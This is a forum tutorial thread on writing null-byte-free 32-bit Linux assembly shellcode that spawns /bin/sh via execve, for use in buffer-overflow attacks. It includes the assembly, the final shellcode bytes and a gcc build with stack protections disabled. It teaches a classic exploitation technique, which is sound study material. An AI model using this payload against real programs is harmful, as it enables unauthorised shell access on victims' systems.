Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[Tutorial] ~ Writing /bin/sh Linux Shellcode for Local BOF Attack

Hello everyone!

So, those of you that know me here know that I'm in networking. I've recently (over the last 3-4 weeks) have been really focusing on low system level coding (specifically NASM), shellcode writing, and BOF (Buffer OverFlow). In this double-length 2 part tutorial, we are going to go over:

~(1) Writing 2 basic ASM Files that will aid in our shellcode writing
~(1) Writing a Simple /bin/sh Shellcode
~(2) Using this shellcode in a BOF attack
~(2) Using this shellcode in the same attack with ASLR ON
~(3) Using the ret2reg method to 'bypass' ASLR

This tutorial assumes you have basic knowledge in:
~ ASM
~ Registers (eax, ax, ah, al, eip, esp, ebp, etc...)and Common Instructions (xor, lea, mov, int, jmp, jmp (conditions), etc...)
~ Buffer Overflow Methodology and basic Science behind it

Prelude & Files I'm Using:

I'm writing this tutorial because I know that I don't know everything, but I do want to share what I do know with all of you!

1. Custom Colring Scheme for Intel ASM in NANO - http://pastebin.com/WEXsYE48
2. C File to test our shellcode (Be sure to change "char shellcode" to "char shellcode[]" when needed) - http://pastebin.com/pTdEFU1T
3. OPCODER - takes compiled ASM files and turns them into shellcode \x format - http://pastebin.com/3QkKTs0Q

Part I: Core Fundementals + Getting Started

In part I, I'm focusing on writing ASM whose resulting shellcode does not contain any \x00's in the mix. This will cause a string to terminate and not read the rest of our payload.
I'll go over line by line:
Code
SECTION .text
      mov eax, 29d
      mov ebx, 0d
      int 80h

      mov eax, 1d
      mov ebx, 0d
      int 80h

1: SECTION .text - This is the .text section of the ASM file. Obviously.
2: mov eax, 29d - we are moving 29 (d = decimal) into the EAX. 29 is the syscall for 'pause'
3: mov ebx, 0d - we are clearing our EBX register
4: int 80h - we are calling the kernel. interrupt 80 (h = hexidecimal)
5: "" - blank
6: mov eax, 1d - we are moving 1 (d = decimal) into EAX. 1 is the syscall for exit
7: mov ebx, 0d - we are moving 0 (d = decimal) into EBX.
8: int 80h - we are calling the kernel. interrupt 80 (h = hexidecimal)

Alright. Simple enough... let's compile it (note: file is saved as "file.asm"):

On a 32 bit machine:
nasm -f elf32 file.asm
ld -s -o exec file.o
strace ./exec


On a 64 bit machine:
nasm -f elf32 file.asm
ld -s -m elf_i386 -o exec file.o
strace ./exec


Ctrl + C to exit.

Let's look at our OBJDUMP output.

[Image: 2d71b9a70266142bb138871b703661fb.png]
You can use the OPCODER at the top to convert this into shellcode:
\xb8\x1d\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80

EAX is a 32 bit (4 byte) register. We are moving just one byte into it. That means that the extra 3 bytes are assumed 0x00's... We still need those 0's, but we can't have that in our program, and moving something 3 bytes or smaller into a 4 byte register causes those 0's to be in the OPCODE.
Luckily for us, the XOR function, when run on the same thing, will return 00's without actually showing any 00's. XOR will compare bit by bit. If the bit is the same as the one to which it is being compared, it is a "0". If it is different, it is a "1". Now, since we compare two identical things, all the bits are the same and will always result in "0"s.
xor eax, eax
xor ebx, ebx


Alright, we still need to have 29 in there. Well, the AL register is a 1 byte register in the EAX (LOWEST 8 bits), so why don't we simply put 29 in THERE instead! That will make the OPCODE 2 bytes shorter
mov al, 29d

Okay, int 80h is fine :)

Now, the AL and BL registers are one byte each in the EAX and EBX respectively. Since the BL would is just going to be 0, we don't need to move anything into it as it is already 0.

mov al, 1d
int 80h


Final code:
Code
SECTION .text
      xor eax, eax
      xor ebx, ebx
      mov al, 29d
      int 80h

      mov al, 1d
      int 80h

Now compile it the same way you did last time. Execute it. Ctrl+C to exit.

Check the objdump output

[Image: 613d5cdaa1012c4fbc64659b297662eb.png]
Our shellcode:
\x31\xc0\x31\xdb\xb0\x1d\xcd\x80\xb0\x01\xcd\x80

Put that in SHELL.C (variable 'shellcode') and compile with:
gcc -o shellcode shell.c
./shellcode


Success!

Part II: JMP, CALL, POP - No Address Needed


This may be a bit hard to understand for those of you that this thread is your first real introduction of ASM.

If you have been exposed to ASM, chances are, a simple "Hello World" was among your first files. And chances are, it looked something like this:
Code
SECTION .data
      msg: db "Goodies",10,0
      msg_length: equ $-msg
SECTION .text
      mov al, 4d
      mov bl, 1d
      mov ecx, msg
      mov dl, msg_length
      int 80h

Line by line:
1: SECTION .data - .data section
2. msg: db "Goodies",10,0 - declares bytes + newline. ,0 is the string terminator
3. msg_length: equ $-msg - current pointer minus msg pointer gives the offset (length of msg) in bytes.
4. SECTION .text - .text(readonly) section
5. mov al, 4d - mov 4 into EAX register. One byte.
6. mov bl, 1d - mov 1 into EBX register. One byte.
7. mov ecx, msg - mov the msg pointer into the ECX register.
8. mov dl, msg_length - mov the msg_length value (in this case 9 because "Goodies"=7 + \x10 + \x00 = 9) into EDX register.
9. int 80h - kernel call

This is all well and good and will work 100% of the time simply compiling and executing. However, if we want it to be shellcode, this will not work.

Why? I'ts purely based on constant memory addresses!! When the application is loaded, THEN the address is chosen. We have no way of knowing beforehand what it will be. When we execute the program and use that memory address as a constant, we will get an error when we compile it into the C program unless it is loaded into the SAME PLACE. What we need to do is have a non-constant way of accessing this WITHOUT being affected by ASLR or offsets.

Let's take a look at the CALL function:

We have a label, R. Say we run:
call R
This is equivalent to:
push eip
jmp R


So, what's happening is the EIP is getting PUSHED onto the stack. That EIP can be the pointer for our shell command "/bin/sh".

Let's start writing:
Code
SECTION .data
      global _start
_start: jmp j
r:
      pop ecx
      mov al, 4d
      mov bl, 1d
      mov dl, 8
      int 80h
j:      call r
msg:  db "Goodies",10

Let's look at what happens. We are JMPing to the "j" label and pushing the pointer for "shell" onto the stack. Now that the address is on the stack, we can POP it to another registers that will use it. In this case, the ECX register is the one that should point to the message so we will POP it into there :)

Let's look at it line-by-line (Order of execution, NOT written order!):
3. jmp j - JMPing to the label "j". Does not rely on mem address.
10. call r - Calls the R function and pushes the EIP onto the stack. The EIP points to the "msg" label.
5. pop ebx - POP the address (of msg) into the ECX which should point to the message.
6. mov al, 4d - mov 4 into EAX which is the systemout call
7. mov bl, 1d - mov 1 into EBX call type.
8. mov dl, 8d - mov 8 into EDX. This is the length of the string and is hard coded, though with another JMP CALL POP this can be easily configured to be dynamic.
9. int 80h - kernel call

Part III: EXECVE and Spawning our Shell


Let's take a look at EXECVE systemcall:

EXECVE
System Call: 11 (11d or 0xb or bh)
Parameters: 3
Param 1: File name (/bin/sh)
Param 2: Parameters (Pointer to /bin/sh)
Param 3: Environment params (nothing... we'll use 4 nul bytes)

Let's take a look at the /bin/sh command. Go ahead and run:
/bin/sh
Type "exit" to exit out of it. Now run
/bin/sh uname -a
You get this:
/usr/bin/uname: /usr/bin/uname: cannot execute binary file

Now try this:
echo -n "uname -a" > cmd.txt
/bin/sh cmd.txt


Now you get the actual output of uname -a:
Linux GoodiesArch 3.10.25-1-MANJARO #1 SMP Sat Dec 21 01:02:47 UTC 2013 x86_64 GNU/Linux

Okay. So we see that it doesn't take an actual parameter, but a POINTER to a parameter. That pointer is going to point to /bin/sh :)

We are going to be utilizing local variables and storing our pointer relative to a register for easy access later. Let's start writing it:

Code
SECTION .data
      global _start
_start: jmp j
r:
      pop ebx
j:      call r
shell:  db "/bin/sh"

Alright. This would obviouslt throw an error. Let's see what needs to be done:
1) Terminate the string (Now in EBX thanks to the POP) using a single null byte (or multiple is fine, but at least one. I recommend fewest possible)
2) Save the pointer for EBX somewhere locally
3) Save the pointer for 4 null bytes somewhere locally (remember, we can't have \x00 in our shellcode)
4) Load those pointers lateron

Code
SECTION .data
      global _start
_start: jmp j
r:
      pop ebx
      xor eax, eax
      mov BYTE [ebx+7], al
      mov DWORD[ebx+8], ebx
      mov DWORD[ebx+12], eax
      mov al, 11d
      lea ecx, [ebx+8]
      lea edx, [ebx+12]
      int 80h
j:      call r
shell:  db "/bin/sh"
I assume I covered the jmp, call, pop enouth, so I'll start from the "r" label:

5. pop ebx - send the address of "shell" to EBX
6. xor eax, eax - clear the EAX register. Now has \x00\x00\x00\x00 in it :)
7. mov BYTE[ebx+7], al - moving AL (single nul byte) to END the string (which is 6 bytes long hence the +7) inside the EBX.
8. mov DWORD[ebx+8], ebx - moving the EBX POINTER inside of the contents of the EBX offset by 8 bytes which is past the string and the nul byte. This is for later recall.
9. mov DWORD[ebx+12], eax - EAX is just nul so we moved 4 nul bytes onto the end there. We have no environment parameters to pass.
10. mov al, 11d - mov 11 into EAX which is the systemcall for EXECVE.
11. lea ecx, [ebx+8] - loading the address of the pointer we saved in memory into the ECX
12. lea edx, [ebx+12] - loading the address of the 4 nul bytes we saved in memory into the EDX
13. int 80h kernel call

Let's look at a visual aid (thanks to stackoverflow):
Code
bx
  |
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
| / | b | i | n | / | s | h |\0 |bx |bx |bx |bx | 0 | 0 | 0 | 0 |  
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
. . . . . . . ^ . . . . . . ^
. . . . . . . cx . . . . .  dx

Okay compile it like we did earlier and execute it!

On a 32 bit machine:
nasm -f elf32 file.asm
ld -s -o exec file.o
./exec


On a 64 bit machine:
nasm -f elf32 file.asm
ld -s -m elf_i386 -o exec file.o
./exec


Note: ASLR is ON! It still works with ASLR on because everything is relative. We're not loading anything from a constant memory address.

[Image: 54464bc94ea67be5a3de3da26b3ce8b6.png]

Final shellcode:
[Image: 4f4c319e7513e10852f046bfdd75afef.png]
\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

Let's change that:
unsigned char
shellcode =
to
unsigned char shellcode[] =
in the .c file and place the shellcode in thequotes. Compile with:
gcc -fno-stack-protector -z execstack -o shell shell.c

You've just written your first basic shellcode!!
SRPP Discord Server

I am a professional network/cloud security architect.
My Old Tutorials
Nice Tutorial mate,Beautifully presented and Explained, Thanks for the share
Thanks buddy! I worked a total of about 3 hours in this and I'd really like people to read it :)
SRPP Discord Server

I am a professional network/cloud security architect.
My Old Tutorials
Will there every be a time when you do not make ub33r HQ shuit bro ;p

Just messing good shit though Goods
Need A Different Or A NEW PORN WEBSITE!!!WHY??

1. WE GOT PORN
2. WE GOT PORN
3. THERE IS A SPIN WHEEL!!!

Visit Mine!! BOO-TUBE
(Jan 14, 2014 08:24 AM)T0ucaNSaM Wrote:  Will there every be a time when you do not make ub33r HQ shuit bro ;p

Just messing good shit though Goods

Thanks ;)
I'm just sharing what I've learned. With others.
SRPP Discord Server

I am a professional network/cloud security architect.
My Old Tutorials
Thank you so so so much for this tutorial! Blood piss and tears must of been put into this HQ thread..

Respect for you Goodies.
(Jan 14, 2014 02:51 PM)Ascendon Wrote:  Thank you so so so much for this tutorial! Blood piss and tears must of been put into this HQ thread..

Respect for you Goodies.

Yeah, it took a while. I had originally broken it into 3 threads (parts I II and III) but decided to combine them and essentially compress it.

Next time we will be doing a simple BOF attack and bruting ASLR entropy. Then, in part 3, I will go over the ret2reg method and show how to 'bypass' ASLR.
SRPP Discord Server

I am a professional network/cloud security architect.
My Old Tutorials
Ew, go back to networking. JK, I need to learn this stuff eventually. Good job Goodies <3
(Jan 14, 2014 06:05 PM)DrDinosaur Wrote:  Ew, go back to networking. JK, I need to learn this stuff eventually. Good job Goodies <3

Ill get into that :) I've been writing a bind TCP shell. I'll write a reverse TCP shell and ill make a tutorial using my TCP session splicing proxy and remote BOF :P

All whilst evading IDS. I haven't forsaken networking :) I'm just expanding my horizon.
SRPP Discord Server

I am a professional network/cloud security architect.
My Old Tutorials
Making a Bind TCP shell thread as we speak so this will be a great foundation for that.
SRPP Discord Server

I am a professional network/cloud security architect.
My Old Tutorials
Extremely high quality tutorial. I've done a little bit of this myself, but this is an excellent intermediate to advanced guide.
Bind shell tutorial is almost completed!
SRPP Discord Server

I am a professional network/cloud security architect.
My Old Tutorials
great tut man thanks :))))) it will help alot, gotta reach 35 ;/
pretty interesting~ brand new stuff for me here to learn. Thanks for sharing mate :)
[Image: p8QFEHz.jpg]
Anyone interested in more advanced shellcode tutorials?
SRPP Discord Server

I am a professional network/cloud security architect.
My Old Tutorials


Possibly Related Threads...
Thread / Author Replies Views Last Post
by ĐĮΜĘOct 23, 2023 04:55 AM 2 253 Oct 23, 2023 04:55 AM
Last Post: Wacatac
by ĐĮΜĘFeb 6, 2023 02:45 PM 0 148 Feb 6, 2023 02:45 PM
Last Post: ĐĮΜĘ
by ĐĮΜĘJul 24, 2021 12:18 AM 9 606 Jul 24, 2021 12:18 AM
Last Post: ĐĮΜĘ